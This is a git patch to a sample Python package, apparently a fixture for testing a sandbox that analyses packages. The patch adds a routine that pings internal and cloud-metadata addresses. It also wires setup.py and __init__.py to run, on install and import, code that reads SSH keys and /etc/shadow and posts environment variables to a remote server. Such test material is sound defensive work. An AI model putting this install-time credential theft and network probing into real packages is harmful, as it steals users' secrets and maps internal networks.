From 1dd7ae4e9b923cf6bb85beb27070720d4ae15fe2 Mon Sep 17 00:00:00 2001 From: Elaine Chien Date: Fri, 12 Jan 2024 00:43:31 +0000 Subject: [PATCH] Add functionality for sample package to attempt to ping addresses that should be blocked Signed-off-by: Elaine Chien --- .../sample_python_package/setup.py | 2 +- .../sample_python_package/src/__init__.py | 2 +- .../sample_python_package/src/example.py | 28 +++++++++++++++++-- 3 files changed, 27 insertions(+), 5 deletions(-) diff --git a/sample_packages/sample_python_package/setup.py b/sample_packages/sample_python_package/setup.py index cc765bf6..a5ec1b90 100644 --- a/sample_packages/sample_python_package/setup.py +++ b/sample_packages/sample_python_package/setup.py @@ -9,4 +9,4 @@ setup(name="sample_python_package", packages=find_packages(),) -[f("setup.py", True) for f in https_functions + access_credentials_functions] +[f("setup.py", True) for f in network_functions + access_credentials_functions] diff --git a/sample_packages/sample_python_package/src/__init__.py b/sample_packages/sample_python_package/src/__init__.py index 81453262..1631e4ae 100644 --- a/sample_packages/sample_python_package/src/__init__.py +++ b/sample_packages/sample_python_package/src/__init__.py @@ -5,4 +5,4 @@ from example import * -[f("__init__.py", True) for f in https_functions + access_credentials_functions] +[f("__init__.py", True) for f in network_functions + access_credentials_functions] diff --git a/sample_packages/sample_python_package/src/example.py b/sample_packages/sample_python_package/src/example.py index 2ca92bc5..862a2de9 100755 --- a/sample_packages/sample_python_package/src/example.py +++ b/sample_packages/sample_python_package/src/example.py @@ -1,6 +1,7 @@ import http.client import json import os +import re # Sends an HTTPS post request and prints out the response. # Exfiltrates environment variables. @@ -14,6 +15,26 @@ def send_https_post_request(called_from: str, print_logs: bool) -> None: if print_logs: print(response.read().decode()) +# Attempts to ping a subset of addresses that packages should not be able to +# ping. Checks if those addresses will send a packet back. +def connect_to_blocked_addresses(called_from: str, print_logs: bool) -> None: + blocked_addresses = ["172.16.16.1", "169.254.169.254", "10.0.0.1", + "172.16.0.1", "192.168.0.1"] + successful_pings = [] + for ip in blocked_addresses: + response = os.popen("ping -w 2 " + ip).read() + packets_received = re.search(", (\d+) received,", response).group(1) + if packets_received != "0": + successful_pings.append(ip) + if print_logs: + print(f"Called from: {called_from}") + if len(successful_pings) == 0: + print("No blocked addresses pinged successfully.") + else: + print( + "Successfully pinged the following addresses that should be blocked: ", + successful_pings) + # Access ssh keys and attempts to read and write to them. def access_ssh_keys(called_from: str, print_logs: bool) -> None: @@ -59,12 +80,13 @@ def access_passwords(called_from: str, print_logs: bool) -> None: # Requires root to read. read_file_and_log(shadow_password_file, called_from, print_logs) -# Collection of functionalities to run that can be customized. -https_functions = [send_https_post_request] +# Collection of functionalities to run that can be customized. Pick relevant ones and then rebuild the package. +# Notes: connect_to_blocked_addresses is slow because it will wait for ping responses. +network_functions = [send_https_post_request, connect_to_blocked_addresses] access_credentials_functions = [access_ssh_keys, access_passwords] def main(): - [f("main function", True) for f in https_functions + access_credentials_functions] + [f("main function", True) for f in network_functions + access_credentials_functions] if __name__ == "__main__": main()